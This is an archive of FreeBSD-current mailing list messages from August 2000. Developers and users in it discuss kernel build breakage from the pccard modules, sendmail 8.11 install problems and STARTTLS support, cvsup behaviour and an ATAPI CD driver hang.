From owner-freebsd-current Sun Aug 13 0: 9:41 2000 Delivered-To: freebsd-current@freebsd.org Received: from ints.ru (ints.ru [194.67.173.1]) by hub.freebsd.org (Postfix) with ESMTP id 5643437B6A8 for ; Sun, 13 Aug 2000 00:09:38 -0700 (PDT) (envelope-from ilmar@ints.ru) Received: (from uucp@localhost) by ints.ru (8.9.2/8.9.2) id LAA19489 for ; Sun, 13 Aug 2000 11:09:35 +0400 (MSD) Received: from ws-ilmar.ints.ru(194.67.173.16) via SMTP by ints.ru, id smtpdB19487; Sun Aug 13 11:09:25 2000 Date: Sun, 13 Aug 2000 11:09:25 +0400 (MSD) From: "Ilmar S. Habibulin" To: freebsd-current@freebsd.org Subject: strange freeze while starting kde2 :( Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG While starting kde2 beta my pc freezes and i have to push power off button. After reboot i hade to run fsck, because of "strange inconsistency". Some files(created by kde startup) were broken and contain corrupted data. Kernel doesn't panic, it just freezes. How can i examine this situation more detailed? Can anybody help? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Aug 13 0:14:56 2000 Delivered-To: freebsd-current@freebsd.org Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (Postfix) with ESMTP id E27CC37B511 for ; Sun, 13 Aug 2000 00:14:47 -0700 (PDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.9.3/8.9.3) with ESMTP id BAA17331; Sun, 13 Aug 2000 01:14:44 -0600 (MDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.9.3/8.8.3) with ESMTP id BAA07153; Sun, 13 Aug 2000 01:14:09 -0600 (MDT) Message-Id: <200008130714.BAA07153@harmony.village.org> To: Mike Meyer Subject: Re: Build breakage (was: fail to compile kernel...) Cc: freebsd-current@FreeBSD.ORG In-reply-to: Your message of "Sun, 13 Aug 2000 01:16:27 CDT." <14742.15675.412839.269577@guru.mired.org> References: <14742.15675.412839.269577@guru.mired.org> <14742.14082.837564.871879@guru.mired.org> <200008130553.XAA06673@harmony.village.org> Date: Sun, 13 Aug 2000 01:14:09 -0600 From: Warner Losh Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message <14742.15675.412839.269577@guru.mired.org> Mike Meyer writes: : Warner Losh writes: : > In message <14742.14082.837564.871879@guru.mired.org> Mike Meyer writes: : > : The nasty downside of the the module system is that people who don't : > : adequately test module code before checking it in will screw up kernel : > : builds for kernels that don't need that code. : > But I did test it. But I had an uncommitted file on my machine... : : Won't the 'cvs diff' command tell you about such things? If not, : that's yet another argument for ditching cvs in favor of something : without so many flaws (like Perforce). Not when the files are in multiple different directories and you have mutliple patches cooking in your tree. I committed files in sys/pccard, but they depended on one in sys/dev/pccard which I honestly thought I'd checked in with an earlier newcard fix. I'd been running the patches long enough that I basically forgot. This was clearly my fault. : > : Since you probably don't need the oldcard module. Just comment it out : > : of /usr/src/sys/modules/Makefile, and rebuild the kernel. You may want : > : to comment out pccard as well. : > Or you can just update your sources. There was a 8 hour window where : > this was broken... : : Well, it was still broken as of about 30 minutes before he asked the : question. I'd look at it for trivial fixes, then just quit trying to : build it because I wasn't going to need it. No. It is not still broken. I committed a fix for this a while ago (like Friday Morning after breaking it late Thursday night) and have done a buildworld and a kernel build on a different machine since then on fresher sources. If it truely is still broken, I need to know what you did. In fact, I did an cvsup and a cvs update and was able to build a kernel and modules w/o any problems on my -current box. : I didn't mean to finger you particularly. It's just a bit upsetting to : realize that I can't remember the last time I managed to do an update : to -current without some kind of breakage. I realize that -current : isn't guaranteed to build, but that's a bit ridiculous. I mean - I was : pleasantly surprised that I could build the world first time out. To : find the kernel breaking for a module that I have no absolutely no use : for on this machine was a bit upsetting. Well, that's the break's of -current. sometimes things are broken. Sometimes when you update, you get burned. Usually it just works. : I'm beginning to wonder if I shouldn't use -stable as a buffer, and : just let the committers deals with things not being up to -current. Or : maybe check to see if the other *BSD's aren't a bit more demanding of : committers. I know that you are frustrated, but I think that's unfair. You'll likely find that the other BSD's are just as bad at times as we get around here. At least that's my firsthand experience with them as a committer. There was a period of about 6 months that every time I went to upgrade the OpenBSD/arc installed on my Deskstation rPC44, someone had broken something and I had to fix it before it would compile. If you aren't a developer or have another compelling reason to track -current, track -stable. Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Aug 13 0:44:10 2000 Delivered-To: freebsd-current@freebsd.org Received: from ns.internet.dk (ns.internet.dk [194.19.140.1]) by hub.freebsd.org (Postfix) with ESMTP id 0702B37B587 for ; Sun, 13 Aug 2000 00:44:07 -0700 (PDT) (envelope-from leifn@neland.dk) Received: (from uucp@localhost) by ns.internet.dk (8.9.3/8.9.3) with UUCP id JAA15146; Sun, 13 Aug 2000 09:43:55 +0200 (CEST) (envelope-from leifn@neland.dk) Received: from gina (gina.neland.dk [192.168.0.14]) by arnold.neland.dk (8.11.0/8.9.3) with SMTP id e7D7hh572415; Sun, 13 Aug 2000 09:43:43 +0200 (CEST) (envelope-from leifn@neland.dk) Message-ID: <06e001c004fa$39e94d60$0e00a8c0@neland.dk> Reply-To: "Leif Neland" From: "Leif Neland" To: "Mike Meyer" , Cc: "Mike Meyer" , "Idea Receiver" , "Warner Losh" References: <14742.14082.837564.871879@guru.mired.org><200008130553.XAA06673@harmony.village.org> <14742.15675.412839.269577@guru.mired.org> Subject: Re: Build breakage (was: fail to compile kernel...) Date: Sun, 13 Aug 2000 09:39:02 +0200 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2919.6600 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > I didn't mean to finger you particularly. It's just a bit upsetting to > realize that I can't remember the last time I managed to do an update > to -current without some kind of breakage. I realize that -current > isn't guaranteed to build, but that's a bit ridiculous. I mean - I was > pleasantly surprised that I could build the world first time out. To > find the kernel breaking for a module that I have no absolutely no use > for on this machine was a bit upsetting. > > I'm beginning to wonder if I shouldn't use -stable as a buffer, and > just let the committers deals with things not being up to -current. Or > maybe check to see if the other *BSD's aren't a bit more demanding of > committers. > What if the machine building snapshots took a note of the time it cvsup'ped. Then if the build succeded, it would append this date to a file. We could then feed this date to our cvsup, to get a version which at least compiled. Leif To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Aug 13 0:52:16 2000 Delivered-To: freebsd-current@freebsd.org Received: from dt052n3e.san.rr.com (dt051n1f.san.rr.com [204.210.32.31]) by hub.freebsd.org (Postfix) with ESMTP id F2B2137B652; Sun, 13 Aug 2000 00:52:12 -0700 (PDT) (envelope-from DougB@gorean.org) Received: from gorean.org (master [10.0.0.2]) by dt052n3e.san.rr.com (8.9.3/8.9.3) with ESMTP id AAA03270; Sun, 13 Aug 2000 00:52:12 -0700 (PDT) (envelope-from DougB@gorean.org) Message-ID: <399653AC.A5269670@gorean.org> Date: Sun, 13 Aug 2000 00:52:12 -0700 From: Doug Barton Organization: Triborough Bridge & Tunnel Authority X-Mailer: Mozilla 4.73 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Gregory Neil Shapiro Cc: freebsd-current@FreeBSD.ORG Subject: Re: HEADS UP: sendmail updated from 8.9.3 to 8.11.0 in -current References: <14741.53848.763058.787717@horsey.gshapiro.net><001201c004b0$cfe63660$8dfee0d1@westbend.net> <14741.55147.202130.156007@horsey.gshapiro.net> <002f01c004b4$2120dc80$8dfee0d1@westbend.net> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I'm seeing a small problem with up to the minute sources in the install phase: ===> usr.sbin/sendmail install -c -o root -g wheel -m 644 /dev/null /var/log/sendmail.st install -c -o root -g wheel -m 444 /usr/src/usr.sbin/sendmail/../../contrib/sendmail/src/helpfile /etc/mail/helpfile install -c -s -o root -g wheel -m 4555 sendmail /usr/libexec/sendmail install -c -o root -g wheel -m 444 mailq.1.gz newaliases.1.gz /usr/share/man/man1 install -c -o root -g wheel -m 444 aliases.5.gz /usr/share/man/man5 install -c -o root -g wheel -m 444 sendmail.8.gz /usr/share/man/man8 + cp /etc/aliases /etc/mail/aliases cp: not found *** Error code 127 Stop in /usr/src/usr.sbin/sendmail. *** Error code 1 Stop in /usr/src/usr.sbin. *** Error code 1 Stop in /usr/src. *** Error code 1 Stop in /usr/src. *** Error code 1 Stop in /usr/src. *** Error code 1 1 error /etc/aliases and /etc/mail both exist. Doug To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Aug 13 1:14: 9 2000 Delivered-To: freebsd-current@freebsd.org Received: from mail.du.gtn.com (mail.du.gtn.com [194.77.9.57]) by hub.freebsd.org (Postfix) with ESMTP id D98AB37B9E0; Sun, 13 Aug 2000 01:14:02 -0700 (PDT) (envelope-from ticso@mail.cicely.de) Received: from mail.cicely.de (cicely.de [194.231.9.142]) by mail.du.gtn.com (8.11.0.Beta3/8.11.0.Beta3) with ESMTP id e7D8DpR01874 (using TLSv1/SSLv3 with cipher EDH-RSA-DES-CBC3-SHA (168 bits) verified OK); Sun, 13 Aug 2000 10:13:56 +0200 (MET DST) Received: (from ticso@localhost) by mail.cicely.de (8.11.0.Beta1/8.11.0.Beta1) id e7D8Do441583; Sun, 13 Aug 2000 10:13:50 +0200 (CEST) Date: Sun, 13 Aug 2000 10:13:49 +0200 From: Bernd Walter To: Gregory Neil Shapiro Cc: "Scot W. Hetzel" , freebsd-current@FreeBSD.ORG Subject: Re: HEADS UP: sendmail updated from 8.9.3 to 8.11.0 in -current Message-ID: <20000813101349.A41517@cicely7.cicely.de> References: <14741.53848.763058.787717@horsey.gshapiro.net> <001201c004b0$cfe63660$8dfee0d1@westbend.net> <14741.55147.202130.156007@horsey.gshapiro.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i In-Reply-To: <14741.55147.202130.156007@horsey.gshapiro.net>; from gshapiro@FreeBSD.ORG on Sat, Aug 12, 2000 at 04:02:03PM -0700 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sat, Aug 12, 2000 at 04:02:03PM -0700, Gregory Neil Shapiro wrote: > hetzels> Sendmail 8.11 has the ablity to due secure authentication with > hetzels> mail clients when compiled with Cyrus-SASL. > > hetzels> Will the Cyrus-SASL library be imported to provide this > hetzels> capability? Or at least a make.conf variable. > > My first step in the process was to get sendmail up-to-date. Once it is > MFC'ed to STABLE, I'll look at enhancements. After September 21, I want to > turn on STARTTLS support. I'm not sure about importing SASL -- I might be > convinced to put in Makefile support if it happens to already been > installed via ports. Getting STARTTLS also means putting sfio into base. Also it would be fine if the hashed ca-cert links are created: bash-2.03# ls -al /etc/ssl/certs total 42 drwxr-xr-x 2 root wheel 1024 Jun 24 11:30 . drwxr-xr-x 4 root wheel 1024 Jun 24 11:21 .. lrwxr-xr-x 1 root wheel 9 Jun 24 11:26 052eae11.0 -> tjhCA.pem lrwxr-xr-x 1 root wheel 10 Jun 24 11:26 13810d42.0 -> cacert.pem lrwxr-xr-x 1 root wheel 12 Jun 24 11:26 18d46017.0 -> vsigntca.pem lrwxr-xr-x 1 root wheel 12 Jun 24 11:26 1ef89214.0 -> nortelCA.pem lrwxr-xr-x 1 root wheel 11 Jun 24 11:26 1f6c59cd.0 -> ca-cert.pem lrwxr-xr-x 1 root wheel 11 Jun 24 11:26 24867d38.0 -> dsa-pca.pem lrwxr-xr-x 1 root wheel 10 Jun 24 11:26 2edf7016.0 -> vsign1.pem lrwxr-xr-x 1 root wheel 12 Jun 24 11:26 3ecf89a3.0 -> ICE-user.pem lrwxr-xr-x 1 root wheel 10 Jun 24 11:26 6bee6be3.0 -> ICE-CA.pem lrwxr-xr-x 1 root wheel 10 Jun 24 11:26 73912336.0 -> dsa-ca.pem lrwxr-xr-x 1 root wheel 10 Jun 24 11:26 7651b327.0 -> vsign3.pem lrwxr-xr-x 1 root wheel 9 Jun 24 11:26 8c401b31.0 -> timCA.pem lrwxr-xr-x 1 root wheel 12 Jun 24 11:26 8caad35e.0 -> pca-cert.pem -rw-r--r-- 1 root wheel 2945 Jun 2 00:05 ICE-CA.pem -rw-r--r-- 1 root wheel 2314 Jun 2 00:05 ICE-root.pem -rw-r--r-- 1 root wheel 3240 Jun 2 00:05 ICE-user.pem [...] -- B.Walter COSMO-Project http://www.cosmo-project.de ticso@cicely.de Usergroup info@cosmo-project.de To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Aug 13 1:16:12 2000 Delivered-To: freebsd-current@freebsd.org Received: from dragon.nuxi.com (trang.nuxi.com [209.152.133.57]) by hub.freebsd.org (Postfix) with ESMTP id BD1FD37BBEE for ; Sun, 13 Aug 2000 01:16:09 -0700 (PDT) (envelope-from obrien@dragon.nuxi.com) Received: (from obrien@localhost) by dragon.nuxi.com (8.9.3/8.9.1) id BAA86681; Sun, 13 Aug 2000 01:16:03 -0700 (PDT) (envelope-from obrien) Date: Sun, 13 Aug 2000 01:16:03 -0700 From: "David O'Brien" To: Warner Losh Cc: freebsd-current@FreeBSD.ORG Subject: Re: Build breakage (was: fail to compile kernel...) Message-ID: <20000813011603.B4215@dragon.nuxi.com> Reply-To: obrien@FreeBSD.ORG References: <14742.15675.412839.269577@guru.mired.org> <14742.14082.837564.871879@guru.mired.org> <200008130553.XAA06673@harmony.village.org> <14742.15675.412839.269577@guru.mired.org> <200008130714.BAA07153@harmony.village.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: <200008130714.BAA07153@harmony.village.org>; from imp@village.org on Sun, Aug 13, 2000 at 01:14:09AM -0600 X-Operating-System: FreeBSD 5.0-CURRENT Organization: The NUXI BSD group X-Pgp-Rsa-Fingerprint: B7 4D 3E E9 11 39 5F A3 90 76 5D 69 58 D9 98 7A X-Pgp-Rsa-Keyid: 1024/34F9F9D5 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sun, Aug 13, 2000 at 01:14:09AM -0600, Warner Losh wrote: > : Won't the 'cvs diff' command tell you about such things? If not, > : that's yet another argument for ditching cvs in favor of something > : without so many flaws (like Perforce). > > Not when the files are in multiple different directories and you have > mutliple patches cooking in your tree. I committed files in > sys/pccard, but they depended on one in sys/dev/pccard which I > honestly thought I'd checked in with an earlier newcard fix. I'd been > running the patches long enough that I basically forgot. Which is why I keep a virgin src checkout and I CVSup (with "-i") right after large commit and try building the code again in the virgin tree. -- -- David (obrien@FreeBSD.org) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Aug 13 1:20:58 2000 Delivered-To: freebsd-current@freebsd.org Received: from RedDust.BlueSky.net.au (reddust.bluesky.net.au [203.31.37.15]) by hub.freebsd.org (Postfix) with ESMTP id D7D4237C0E7 for ; Sun, 13 Aug 2000 01:20:53 -0700 (PDT) (envelope-from receiver@RedDust.BlueSky.net.au) Received: from localhost (receiver@localhost) by RedDust.BlueSky.net.au (8.9.3/8.9.3) with ESMTP id SAA77953; Sun, 13 Aug 2000 18:21:30 +1000 (EST) (envelope-from receiver@RedDust.BlueSky.net.au) Date: Sun, 13 Aug 2000 18:21:30 +1000 (EST) From: Idea Receiver To: Warner Losh Cc: freebsd-current@FreeBSD.ORG Subject: Re: fail to compile kernel... In-Reply-To: <200008130543.XAA06549@harmony.village.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sat, 12 Aug 2000, Warner Losh wrote: > In message Idea Receiver writes: > : i have try to upgrade one of my 4.1 release to -current. > : however, when i try to build the kernel, it failed as following > : message. > > Upgrade your sources and try again. > > Warner cvsed this morning.... (8 hrs ago..) and still doesnt work.. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Aug 13 1:29:44 2000 Delivered-To: freebsd-current@freebsd.org Received: from guru.mired.org (zoom0-074.telepath.com [216.14.0.74]) by hub.freebsd.org (Postfix) with SMTP id 4F7DB37BC96 for ; Sun, 13 Aug 2000 01:29:37 -0700 (PDT) (envelope-from mwm@mired.org) Received: (qmail 45356 invoked by uid 100); 13 Aug 2000 08:29:00 -0000 From: Mike Meyer MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14742.23628.110336.924637@guru.mired.org> Date: Sun, 13 Aug 2000 03:29:00 -0500 (CDT) To: Warner Losh Cc: freebsd-current@FreeBSD.ORG Subject: Re: Build breakage (was: fail to compile kernel...) In-Reply-To: <200008130714.BAA07153@harmony.village.org> References: <14742.15675.412839.269577@guru.mired.org> <14742.14082.837564.871879@guru.mired.org> <200008130553.XAA06673@harmony.village.org> <200008130714.BAA07153@harmony.village.org> X-Mailer: VM 6.72 under 21.1 (patch 10) "Capitol Reef" XEmacs Lucid X-face: "5Mnwy%?j>IIV\)A=):rjWL~NB2aH[}Yq8Z=u~vJ`"(,&SiLvbbz2W`;h9L,Yg`+vb1>RG% *h+%X^n0EZd>TM8_IB;a8F?(Fb"lw'IgCoyM.[Lg#r\ Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Warner Losh writes: > In message <14742.15675.412839.269577@guru.mired.org> Mike Meyer writes: > : Warner Losh writes: > : > In message <14742.14082.837564.871879@guru.mired.org> Mike Meyer writes: > : > : The nasty downside of the the module system is that people who don't > : > : adequately test module code before checking it in will screw up kernel > : > : builds for kernels that don't need that code. > : > But I did test it. But I had an uncommitted file on my machine... > : Won't the 'cvs diff' command tell you about such things? If not, > : that's yet another argument for ditching cvs in favor of something > : without so many flaws (like Perforce). > Not when the files are in multiple different directories and you have > mutliple patches cooking in your tree. I committed files in > sys/pccard, but they depended on one in sys/dev/pccard which I > honestly thought I'd checked in with an earlier newcard fix. I'd been > running the patches long enough that I basically forgot. This was > clearly my fault. Hmm - you mean 'cvs diff' can't be pointed at sys to get a list of everything you've touched? > : > : Since you probably don't need the oldcard module. Just comment it out > : > : of /usr/src/sys/modules/Makefile, and rebuild the kernel. You may want > : > : to comment out pccard as well. > : > Or you can just update your sources. There was a 8 hour window where > : > this was broken... > : Well, it was still broken as of about 30 minutes before he asked the > : question. I'd look at it for trivial fixes, then just quit trying to > : build it because I wasn't going to need it. > No. It is not still broken. I committed a fix for this a while ago > (like Friday Morning after breaking it late Thursday night) and have > done a buildworld and a kernel build on a different machine since then > on fresher sources. If it truely is still broken, I need to know what > you did. I just now grabbed the latest sources, and got the following: cc -O -pipe -march=pentium -D_KERNEL -Wall -Wredundant-decls -Wnested-externs -Wstrict-prototypes -Wmissing-prototypes -Wpointer-arith -Winline -Wcast-qual -fformat-extensions -ansi -DKLD_MODULE -nostdinc -I- -I. -I@ -I@/../include -mpreferred-stack-boundary=2 -c /usr/src/sys/modules/oldcard/../../pccard/pccard.c cc -O -pipe -march=pentium -D_KERNEL -Wall -Wredundant-decls -Wnested-externs -Wstrict-prototypes -Wmissing-prototypes -Wpointer-arith -Winline -Wcast-qual -fformat-extensions -ansi -DKLD_MODULE -nostdinc -I- -I. -I@ -I@/../include -mpreferred-stack-boundary=2 -c /usr/src/sys/modules/oldcard/../../pccard/pcic.c /usr/src/sys/modules/oldcard/../../pccard/pcic.c:1020: `card_get_memory_offset_desc' undeclared here (not in a function) /usr/src/sys/modules/oldcard/../../pccard/pcic.c:1020: initializer element is not constant /usr/src/sys/modules/oldcard/../../pccard/pcic.c:1020: (near initialization for `pcic_methods[16].desc') *** Error code 1 Stop in /usr/src/sys/modules/oldcard. *** Error code 1 Stop in /usr/src/sys/modules. *** Error code 1 Stop in /usr/src/sys/compile/EVE. > In fact, I did an cvsup and a cvs update and was able to build a > kernel and modules w/o any problems on my -current box. > > : I didn't mean to finger you particularly. It's just a bit upsetting to > : realize that I can't remember the last time I managed to do an update > : to -current without some kind of breakage. I realize that -current > : isn't guaranteed to build, but that's a bit ridiculous. I mean - I was > : pleasantly surprised that I could build the world first time out. To > : find the kernel breaking for a module that I have no absolutely no use > : for on this machine was a bit upsetting. > Well, that's the break's of -current. sometimes things are broken. > Sometimes when you update, you get burned. Usually it just works. If it usually "just worked", it wouldn't be a problem. I expected to have systems that would at times be a bit delicate for a time, or require old kernels, or the like. What I *didn't* expect was that the usual update procedure would be get new sources, watch the build fail, fix it if possible, or post a note to -current and repeat the process when someone claimed it was fixed. > : I'm beginning to wonder if I shouldn't use -stable as a buffer, and > : just let the committers deals with things not being up to -current. Or > : maybe check to see if the other *BSD's aren't a bit more demanding of > : committers. > I know that you are frustrated, but I think that's unfair. You'll > likely find that the other BSD's are just as bad at times as we get > around here. At least that's my firsthand experience with them as a > committer. There was a period of about 6 months that every time I > went to upgrade the OpenBSD/arc installed on my Deskstation rPC44, > someone had broken something and I had to fix it before it would > compile. That may be true - which would mean it wouldn't be any better than FreeBSD has been for the past few months. Or any worse. On the other hand, breaking the build on other projects I've worked on was considered a major blunder. That doesn't seem to be the case here. > If you aren't a developer or have another compelling reason to track > -current, track -stable. Well, I was hoping to chase out the last of the bugs in the usb modem driver, and possibly try and recover some of the functionality lost when the snd drivers quit working. But the latest version of the former isn't in the tree yet, and new sound cards are cheaper than the time to work on the latter (if only the documentation on pcm did and didn't support were accurate). That was the justification for my converting to -current in the first place. I figured I'd track -current to make the lifes of the people actually committing the code easier, but that seems sort of pointless. Date: Sun, 13 Aug 2000 01:34:19 -0700 (PDT) From: Gregory Neil Shapiro To: Bernd Walter Cc: Gregory Neil Shapiro , "Scot W. Hetzel" , freebsd-current@FreeBSD.ORG Subject: Re: sendmail updated from 8.9.3 to 8.11.0 in -current In-Reply-To: <20000813101349.A41517@cicely7.cicely.de> References: <14741.53848.763058.787717@horsey.gshapiro.net> <001201c004b0$cfe63660$8dfee0d1@westbend.net> <14741.55147.202130.156007@horsey.gshapiro.net> <20000813101349.A41517@cicely7.cicely.de> X-Mailer: VM 6.75 under 21.2 (beta35) "Nike" XEmacs Lucid Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG ticso> Getting STARTTLS also means putting sfio into base. Actually, it wouldn't. I was able to get Torek I/O working with STARTTLS as an FFR. I'm running with STARTTLS at home without using sfio. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Aug 13 1:38:44 2000 Delivered-To: freebsd-current@freebsd.org Received: from horsey.gshapiro.net (horsey.gshapiro.net [209.220.147.178]) by hub.freebsd.org (Postfix) with ESMTP id AEF1037BC88 for ; Sun, 13 Aug 2000 01:38:41 -0700 (PDT) (envelope-from gshapiro@gshapiro.net) Received: (from gshapiro@localhost) by horsey.gshapiro.net (8.11.0/8.11.0) id e7D8cds02892; Sun, 13 Aug 2000 01:38:39 -0700 (PDT) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14742.24207.71858.539724@horsey.gshapiro.net> Date: Sun, 13 Aug 2000 01:38:39 -0700 (PDT) From: Gregory Neil Shapiro To: Doug Barton Cc: freebsd-current@FreeBSD.ORG Subject: Re: sendmail updated from 8.9.3 to 8.11.0 in -current In-Reply-To: <399653AC.A5269670@gorean.org> References: <14741.53848.763058.787717@horsey.gshapiro.net> <001201c004b0$cfe63660$8dfee0d1@westbend.net> <14741.55147.202130.156007@horsey.gshapiro.net> <002f01c004b4$2120dc80$8dfee0d1@westbend.net> <399653AC.A5269670@gorean.org> X-Mailer: VM 6.75 under 21.2 (beta35) "Nike" XEmacs Lucid Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG DougB> I'm seeing a small problem with up to the minute sources in the install DougB> phase: DougB> + cp /etc/aliases /etc/mail/aliases DougB> cp: not found DougB> *** Error code 127 That is odd considering the step right before it uses 'mv' which is located in /bin/ (where 'cp' also lives). I assumed that if mv worked, cp would as well. In any case, that step was a hack for the short term until I could make arrangements to get src/etc/aliases moved to src/etc/mail/aliases by the CVS managers. This has now been done and I've removed the hack so things should return to normal again. Thanks for the report. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Aug 13 1:39:54 2000 Delivered-To: freebsd-current@freebsd.org Received: from mail5.svr.pol.co.uk (mail5.svr.pol.co.uk [195.92.193.20]) by hub.freebsd.org (Postfix) with ESMTP id CC4AB37B6A2 for ; Sun, 13 Aug 2000 01:39:50 -0700 (PDT) (envelope-from markk@knigma.org) Received: from modem-195.sulfur.dialup.pol.co.uk ([62.136.15.195] helo=lap.knigma.org) by mail5.svr.pol.co.uk with esmtp (Exim 3.13 #0) id 13NtJ7-0000Mt-00 for freebsd-current@freebsd.org; Sun, 13 Aug 2000 09:39:50 +0100 Message-ID: Date: Sun, 13 Aug 2000 09:28:18 +0100 To: freebsd-current@freebsd.org From: Mark Knight Subject: Re: cvsup overzealous References: <200008122150.WAA00462@hak.lan.Awfulhak.org> In-Reply-To: <200008122150.WAA00462@hak.lan.Awfulhak.org> MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 5.01 U Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In article <200008122150.WAA00462@hak.lan.Awfulhak.org>, Brian Somers writes >> With world and kernel of 10th August, 01:00 GMT cvsup is reporting >> 'SetAttrs' adjustments for every file it encounters on repeated runs >> against a server that has not been updated. >> >> Running under an old kernel, cvsup is not performing any updates. > >This isn't by any chance because you cvsup'd from my laptop is it ? >I chmod my repository with g+w, so if you sup from me, then from a >real machine you get shed-loads of setattrs.... No, that was my first thought :) I'm used to that behaviour when I sup from 'hak', but I have not, in fact, sup'd 'lapbsd' from it since before July 16. I noticed this when 'lapbsd' was suping of 'shrewd' repeatedly (by mistake actually), where 'shrewd' had not sup'd off 'storm' itself. As I say, it's behaving under a new world. -- Mark Knight PGP Public Key: finger mkn@knigma.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Aug 13 2:23:59 2000 Delivered-To: freebsd-current@freebsd.org Received: from freebsd.dk (freebsd.dk [212.242.42.178]) by hub.freebsd.org (Postfix) with ESMTP id EDD4A37BD12 for ; Sun, 13 Aug 2000 02:23:53 -0700 (PDT) (envelope-from sos@freebsd.dk) Received: (from sos@localhost) by freebsd.dk (8.9.3/8.9.1) id LAA58937; Sun, 13 Aug 2000 11:23:47 +0200 (CEST) (envelope-from sos) From: Soren Schmidt Message-Id: <200008130923.LAA58937@freebsd.dk> Subject: Re: Problems with ATAPI CD driver In-Reply-To: from Donn Miller at "Aug 13, 2000 00:01:57 am" To: dmmiller@cvzoom.net (Donn Miller) Date: Sun, 13 Aug 2000 11:23:46 +0200 (CEST) Cc: current@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL54 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG It seems Donn Miller wrote: > I've got a BTC 24x ATAPI CDROM driver, and I can't mount it. Attached is > my dmesg.out. Typing mount /cdrom causes the mount command to hang, and > it never did this before. Also, I'm getting these strange syslog > messages. (See attached file messages.out.) I tried disabling DMA for > ATAPI devices in my kernel config file to no avail. Seems I didnt' get enough sleep for that last commit, try it now after the latest fix (atapi-cd.c r1.62)... -Søren To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sun Aug 13 2:52:48 2000 Delivered-To: freebsd-current@freebsd.org Received: from ns.cvzoom.net (ns.cvzoom.net [208.226.154.2]) by hub.freebsd.org (Postfix) with SMTP id F2DDA37B6B6 for ; Sun, 13 Aug 2000 02:52:45 -0700 (PDT) (envelope-from dmmiller@cvzoom.net) Received: (qmail 13062 invoked from network); 13 Aug 2000 09:52:44 -0000 Received: from acs-24-154-25-30.zoominternet.net (HELO cvzoom.net) (24.154.25.30) by ns.cvzoom.net with SMTP; 13 Aug 2000 09:52:44 -0000 Message-ID: <39966FEC.4D9AE03@cvzoom.net> Date: Sun, 13 Aug 2000 05:52:44 -0400 From: Donn Miller X-Mailer: Mozilla 4.74 [en] (X11; U; FreeBSD 5.0-CURRENT i386) X-Accept-Language: en MIME-Version: 1.0 To: Soren Schmidt Cc: current@FreeBSD.ORG Subject: Re: Problems with ATAPI CD driver References: <200008130923.LAA58937@freebsd.dk> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Soren Schmidt wrote: > > It seems Donn Miller wrote: > > I've got a BTC 24x ATAPI CDROM driver, and I can't mount it. Attached is > > my dmesg.out. Typing mount /cdrom causes the mount command to hang, and > > it never did this before. Also, I'm getting these strange syslog > > messages. (See attached file messages.out.) I tried 